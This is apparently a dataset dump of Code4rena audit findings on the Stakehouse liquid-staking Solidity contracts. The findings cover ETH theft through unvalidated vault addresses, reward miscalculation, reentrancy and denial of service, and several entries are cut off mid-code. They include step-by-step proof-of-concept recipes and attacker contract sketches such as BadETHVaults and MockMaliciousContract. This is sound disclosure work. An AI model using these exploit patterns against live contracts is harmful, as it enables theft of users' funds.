xanoutas/solidity-security-findings huggingface dataset:
Ether can be stolen from contract using `batchDepositETHForStaking`
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantSavETHVaultPool.sol#L48-L58
https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L42-L51


# Vulnerability details

## Impact

Due to a lack of validation of input parameters in `batchDepositETHForStaking()`, it is possible to use an alternate contract as a vault and withdraw all available Ether from the contract. The issue is present in both `GiantSavETHVaultPool` and `GiantMevAndFeesPool` contracts.

The only validation done is on a value returned by the user-provided address, this can be easily defeated by implementing the related funtion and returning a valid value.

The function will then call the `batchDepositETHForStaking()` function on the user-provided address, with the requested Ether amount. If the address implements this function as a payable function, Ether will be transfered to it.

## Proof of Concept

* Create a dedicated contract to exploit the vulnerability
  * Implement `liquidStakingManager()` and return the address of a valid Liquid Staking Manager when called
  * Implement `liquidStakingNetworkManager()` and return the address of a valid Liquid Staking Manager for  when called
  * Implement `batchDepositETHForStaking(bytes[],uint256[])` as a payable function to not throw when called with an Ether value
  * Implement a function to safely withdraw any Ether from the contract
* Call `GiantSavETHVaultPool.batchDepositETHForStaking()` with the following parameters
  * `_savETHVaults`: array of size 1 with the created contract
  * `_ETHTransactionAmounts`: array of size 1 with available Ether (using `idleETH()`)
  * `_blsPublicKeys`: array of size 1 with any `byte[]` value
  * `_stakeAmounts`: array of size 1 with any `uint256[]` value
  * The contract will transfer the request amount of Ether to the user-provided contract
* Call `GiantMevAndFeesPool.batchDepositETHForStaking()` with the following parameters
  * `_stakingFundsVault`: array of size 1 with the created contract
  * `_ETHTransactionAmounts`: array of size 1 with available Ether (using `idleETH()`)
  * `_blsPublicKeyOfKnots`: array of size 1 with any `byte[]` value
  * `_amounts`: array of size 1 with any `uint256[]` value
  * The contract will transfer the request amount of Ether to the user-provided contract
* Withdraw all Ether from the created contract

## Tools Used

Manual review.

## Recommended Mitigation Steps

User-provided contract addresses must be checked to avoid a malicious usage.
User can withdraw more rewards than expected due to a miscalculation of the `claimed` array
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L63


# Vulnerability details

## Impact

In the `_distributeETHRewardsToUserForToken()` function, the `claimed` array is updated with the claimed rewards of each user. This array is also used to calculate how much awards a user can withdraw.

There is an error when the array is updated: instead of **increasing** the value with the withdrawn awards (`due`), the value is **replaced** with the withdrawn awards (`due`). The new value will then be lower than the expected one, allowing a user to **withdraw more than due** by withdrawing several times.

    uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
    if (due > 0) {
        claimed[_user][_token] = due;   // should be "+= due"
        [...]
    }

The issue can also **prevent a user to interact with the contract and withdraw his own assets** because `_distributeETHRewardsToUserForToken()` will revert if the calculated `due` is higher than the ETH balance in the contract.

## Proof of Concept

Proof of concept using `GiantMevAndFeesPool.claimRewards()` but other paths are available.

* A user has a positive `lpTokenETH` balance on the `GiantMevAndFeesPool` contract, allowing him to withdraw awards
* The user call the `claimRewards()` function on the `GiantMevAndFeesPool` contract with the following parameters:
  * `_recipient`: user's address
  * `_stakingFundsVaults`: array with at least one available stacking fund. Note that the user can also provide an alternate contract which does not revert on `claimRewards(address,bytes[])` as there is no verification here
  * `_blsPublicKeysForKnots`: related BLS keys (if using an available stacking fund)
* After the call, due rewards have been sent to the user and `claimed[user][lpTokenEth]` is now set to **a lower value than expected**
* When calling `claimRewards()` at a later time, due rewards will be miscalculated and be higher than expected
  * If there is enough ETH balance at that time, **the related Ether will be sent to user**
  * If there is not enough ETH balance, the transaction will revert. As `_distributeETHRewardsToUserForToken()` is called at other places in the contract, this will **prevent the user to do some actions like withdrawing his own assets**

## Tools Used

Manual review.

## Recommended Mitigation Steps

Fix the `_distributeETHRewardsToUserForToken()` function to increase `claimed[_user][_token]` with `due` instead of updating it with `due`.
Single step `DAO` updating poses risks
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/LiquidStakingManager.sol#L239-L246


# Vulnerability details

## Impact
Function `updateDAOAddress(address _newAddress)` uses a single step to change the `DAO` address, which has risks. If `_newAddress` has typos (or due to other reasons) leading to a non-zero non-existent account, important management functions that `onlyDAO` can execute will be locked. Considering the `DAO` is the key role of the entire system, this function poses a high risk in the system.

## Proof of Concept
Current `DAO` calls `updateDAOAddress(_newAddress)` with a non-zero non-existence `_newAddress` account, and `DAO` will be locked out - nobody can access to the functions that `onlyDAO` can execute, leaving the system impaired.

## Tools Used
Manual audit.

## Recommended Mitigation Steps
Use a two-step role-change solution. Step 1: Current `DAO` registers a `potential DAO` is the contract. Step 2: the `potential DAO` calls a function, which can be called by the `potential DAO` only, to replace the `DAO` with itself to complete the role change.
_distributeETHRewardsToUserForToken() Wrong set claimed[_user][_token]
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L63


# Vulnerability details

## Impact

SyndicateRewardsProcessor#claimed[_user][_token] holds the values that have been claimed, _distributeETHRewardsToUserForToken() is incorrectly set to "due", next time _distributeETHRewardsToUserForToken() will become large

## Proof of Concept

Incorrectly set to difference

```
    function _distributeETHRewardsToUserForToken(
        address _user,
        address _token,
        uint256 _balance,
        address _recipient
    ) internal {
        require(_recipient != address(0), "Zero address");
        uint256 balance = _balance;
        if (balance > 0) {

            uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
            if (due > 0) {               
                claimed[_user][_token] = due;  //***@audit Incorrectly set to difference****/

                totalClaimed += due;

            }
        }
    }
```

## Tools Used

## Recommended Mitigation Steps

```
abstract contract SyndicateRewardsProcessor {
...
    function _distributeETHRewardsToUserForToken(
        address _user,
        address _token,
        uint256 _balance,
        address _recipient
    ) internal {
        require(_recipient != address(0), "Zero address");
        uint256 balance = _balance;
        if (balance > 0) {
            // Calculate how much ETH rewards the address is owed / due 
            uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
            if (due > 0) {               
-               claimed[_user][_token] = due;
+               claimed[_user][_token] += due;
                totalClaimed += due;

            }
        }
    }
```
Reentrancy attack allows to withdraw all the funds from others blspubkeys from the shared smartwallet
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L326


# Vulnerability details

## Impact

The ```LiquidStakingManager.sol::withdrawETHForKnot()``` allows to the BLSPubkey to withdraw from their smart wallet. The smartwallets can have multiple BLSPubKeys. The problem is that one BLSPubkey can withdraw the ether from the others BLSpubkeys on the same smartwallet.

The [LiquidStakingManager.sol::withdrawETHForKnot()](https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L326) does not protect from reentrancy attack and with [this external call](https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L340) the ```_recipient``` (malicious contract) can call the ```LiquidStakingManager.sol::withdrawETHForKnot()``` function again and extract all the funds from the others blspubkeys from the shared smartwallet.

## Proof of Concept

I wrote a test for the reentrancy. 

1. As a malicious contract register two BLSPubKeys for the same smartwallet.
2. Add the malicious contract as a noderunner.
3. As the malicious contract, withdraw from one BLSPubKeyOne and in the recipient parameter add the malicious contract address which will do the reentrant and get the balance from all the BLSPubKeys from the smart wallet.

**Test:**

```solidity
// MockMaliciousContract.sol
// SPDX-License-Identifier: MIT
import { LiquidStakingManager } from "../../contracts/liquid-staking/LiquidStakingManager.sol";
pragma solidity 0.8.13;


contract MockMaliciousContract {

    address manager;
    bytes blsPublicKeyOfKnot;
    uint256 counter;

    function registerBLS(
        address _manager,
        uint256 stakeAmount,
        bytes[] calldata _blsPublicKeys,
        bytes[] calldata _blsSignatures,
        address _eoaRepresentative) external {
            manager = _manager;
            (bool success, bytes memory result) = manager.call{value: stakeAmount}(
                abi.encodeWithSignature(
                    "registerBLSPublicKeys(bytes[],bytes[],address)",
                    _blsPublicKeys,
                    _blsSignatures,
                    _eoaRepresentative)
            );
            if (!success) {
                if (result.length < 68) revert();
                assembly {
                    result := add(result, 0x04)
                    }
                revert(abi.decode(result, (string)));
            }
    }

    function withdrawETHForKnot(bytes calldata _blsPublicKeyOfKnot) external {
        blsPublicKeyOfKnot = _blsPublicKeyOfKnot;
        (bool success, bytes memory result) = manager.call(
            abi.encodeWithSignature(
                "withdrawETHForKnot(address,bytes)",
                address(this),
                blsPublicKeyOfKnot)
        );
bringUnusedETHBackIntoGiantPool() The bring ETH is incorrectly treated as rewards
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L136
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L155


# Vulnerability details

## Impact

GiantMevAndFeesPool#bringUnusedETHBackIntoGiantPool() burn lpToken to get eth back.but no increase "idleETH" ,can't #batchDepositETHForStaking() again,Be treated as a reward,so lost eth.

## Proof of Concept
get eth back to GiantMevAndFeesPool, not increase idleETH

```
GiantMevAndFeesPool{
...
    function bringUnusedETHBackIntoGiantPool(
        address[] calldata _stakingFundsVaults,
        LPToken[][] calldata _lpTokens,
        uint256[][] calldata _amounts
    ) external {
        uint256 numOfVaults = _stakingFundsVaults.length;
        require(numOfVaults > 0, "Empty arrays");
        require(numOfVaults == _lpTokens.length, "Inconsistent arrays");
        require(numOfVaults == _amounts.length, "Inconsistent arrays");
        for (uint256 i; i < numOfVaults; ++i) {
            StakingFundsVault(payable(_stakingFundsVaults[i])).burnLPTokensForETH(_lpTokens[i], _amounts[i]); //**@auit only to addres(this), not increase idleETH ***//
        }
    }
....
    function totalRewardsReceived() public view override returns (uint256) {
        return address(this).balance + totalClaimed - idleETH;  /***@auit Be treated as a reward****/
    }    
```

Note: GiantSavETHVaultPool#bringUnusedETHBackIntoGiantPool() have same Problem，it cause funds are locked

## Tools Used

## Recommended Mitigation Steps

```
GiantMevAndFeesPool{
...
    function bringUnusedETHBackIntoGiantPool(
        address[] calldata _stakingFundsVaults,
        LPToken[][] calldata _lpTokens,
        uint256[][] calldata _amounts
    ) external {
        uint256 numOfVaults = _stakingFundsVaults.length;
        require(numOfVaults > 0, "Empty arrays");
        require(numOfVaults == _lpTokens.length, "Inconsistent arrays");
        require(numOfVaults == _amounts.length, "Inconsistent arrays");
        for (uint256 i; i < numOfVaults; ++i) {
            StakingFundsVault(payable(_stakingFundsVaults[i])).burnLPTokensForETH(_lpTokens[i], _amounts[i]);
 +          idleETH += _amounts[i];
        }
    }
```


```
contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {
...
    function bringUnusedETHBackIntoGiantPool(
        address[] calldata _savETHVaults,
        LPToken[][] calldata _lpTokens,
        uint256[][] calldata _amounts
    ) external {
        uint256 numOfVaults = _savETHVaults.length;
        require(numOfVaults > 0, "Empty arrays");
        require(numOfVaults == _lpTokens.length, "Inconsistent arrays");
        require(numOfVaults == _amounts.length, "Inconsistent arrays");
        for (uint256 i; i < numOfVaults; ++i) {
            SavETHVault vault = SavETHVault(_savETHVaults[i]);
            for (uint2
batchDepositETHForStaking() malicious parameter to steal ETH
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L48-L52


# Vulnerability details

## Impact

GiantSavETHVaultPool#batchDepositETHForStaking() and GiantMevAndFeesPool#batchDepositETHForStaking()
No detection of _stakingFundsVault is legal, you can pass malicious _savETHVaults to steal ETH

## Proof of Concept

The security check of #batchDepositETHForStaking() only detects the incoming parameters calling _savETHVaults[i].liquidStakingManager()
We can pass in a malicious contract, which has the method liquidStakingManager() to return a normal LiquidStakingManager contract address to pass the security check

```
    function batchDepositETHForStaking(
        address[] calldata _savETHVaults,
        uint256[] calldata _ETHTransactionAmounts,
        bytes[][] calldata _blsPublicKeys,
        uint256[][] calldata _stakeAmounts
    ) public {
...
            //***@audit The malicious savETHPool.liquidStakingManager() returns a normal liquidStakingManager to skip the security detection***//
            require(
                liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())), 
                "Invalid liquid staking manager"
            );    


            savETHPool.batchDepositETHForStaking{ value: transactionAmount }( //***@audit steal eth***//
                _blsPublicKeys[i],
                _stakeAmounts[i]
            );            
```

Malicious contracts such as:
```
contract BadETHVaults{
    
    function liquidStakingManager() external (ILiquidStakingManager) {
        return ILiquidStakingManager("0x???"); //*** normal LiquidStakingManager address***//
    }

    function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable {
       //*** empty ***//
    }

    //** other withdraw eth function***/
}
```

Note: GiantMevAndFeesPool#batchDepositETHForStaking() has the same problem.



## Tools Used

## Recommended Mitigation Steps

```
contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {
...
    function batchDepositETHForStaking(
        address[] calldata _savETHVaults,
        uint256[] calldata _ETHTransactionAmounts,
        bytes[][] calldata _blsPublicKeys,
        uint256[][] calldata _stakeAmounts
    ) public {
...
-            require(
-                liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())),
-                "Invalid liquid staking manager"
-            );

+            LiquidStakingManager liquidStakingManager= savETHPool.liquidStakingManager();
+            require(
+                liquidStakingDerivativeFactory.isLiquidStakingManager(address(liquidStakingManager)),
+                "Invalid liquid staking manager"
+            );
+            require(
+                address(savETHPool) == address(liquidStakingManager.savETHVault()),
+
DOS via rejecting ether on `_distributeETHRewardsToUserForToken` in `beforeTokenTransfer` callback on `gMevETH` token and `StakingFundsVault`
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L146
https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L152
https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L161
https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/StakingFundsVault.sol#L315
https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/StakingFundsVault.sol#L333
https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/StakingFundsVault.sol#L337
https://github.com/code-423n4/2022-11-stakehouse/blob/39a3a84615725b7b2ce296861352117793e4c853/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L67


# Vulnerability details

## Impact
A malicious user can craft a contract to reject ether loking the transfers.

## Proof of Concept
Before and after [`gMevETH`](https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L146) and [`StakingFundsVault`](https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/StakingFundsVault.sol#L315) is transfer is using the `beforeTokenTransfer` to pay user  any unclaimed ETH rewards.
This is dangerous because any user can be a contract that blocks ETH reception making this funtion fail all the times. Plus its a reentrancy risk.

## Tools Used
Manual revision

## Recommended Mitigation Steps
Instead of transfering ETH you could wrap ETH in WETH and do a regular ERC20 transfer.
afterTokenTransfer() should set _from address claimed[][] too, because balance of _from changes too
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L169-L173
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/StakingFundsVault.sol#L342-L351


# Vulnerability details

## Impact
function `afterTokenTransfer()` is for that after an LP token is transferred, ensure that the new account cannot claim historical rewards and it sets `claimed[_to][address(token)]` to max. but it doesn't set `claimed[_from][address(token)] ` value and the `_from` address would lose some future rewards because his `claimed[_from][address(token)] ` value has been set by his old balance (before transfer).

## Proof of Concept
This is `afterTokenTransfer()` and `beforeTokenTransfer()` codes in `GiantMevAndFeesPool`:
```
/// @notice Allow giant LP token to notify pool about transfers so the claimed amounts can be processed
    function beforeTokenTransfer(address _from, address _to, uint256) external {
        require(msg.sender == address(lpTokenETH), "Caller is not giant LP");
        updateAccumulatedETHPerLP();

        // Make sure that `_from` gets total accrued before transfer as post transferred anything owed will be wiped
        if (_from != address(0)) {
            _distributeETHRewardsToUserForToken(
                _from,
                address(lpTokenETH),
                lpTokenETH.balanceOf(_from),
                _from
            );
        }

        // Make sure that `_to` gets total accrued before transfer as post transferred anything owed will be wiped
        _distributeETHRewardsToUserForToken(
            _to,
            address(lpTokenETH),
            lpTokenETH.balanceOf(_to),
            _to
        );
    }

    /// @notice Allow giant LP token to notify pool about transfers so the claimed amounts can be processed
    function afterTokenTransfer(address, address _to, uint256) external {
        require(msg.sender == address(lpTokenETH), "Caller is not giant LP");
        _setClaimedToMax(_to);
    }
```
As you can see function `beforeTokenTransfer()` sends `_from` and `_to` remaining rewards by calling `_distributeETHRewardsToUserForToken()` and in the function `_distributeETHRewardsToUserForToken()` code sets `claimed[][]` value of `_from` and `_to` based on their balance before transfer happens.
in the function `afterTokenTransfer()` call `_setClaimedToMax(_to)` which reset `claimed[][]` for `_to` address but don't change `claimed[][]` for `_from` address even so balance of `_from` is changed too. this can cause that `claimed[][]` for `_from` has wrong value and the future reward calculation for `_from` address would fail. these are the steps that this bug happens in them:
1. `user1` has `10` LP token balance and `claimed[user1][token1]` is `10` and `accumulatedETHPerLPShare` is `1`.
2. `user2` has `5` LP token balance and `claimed[user2][token1]` is `5`.
3. some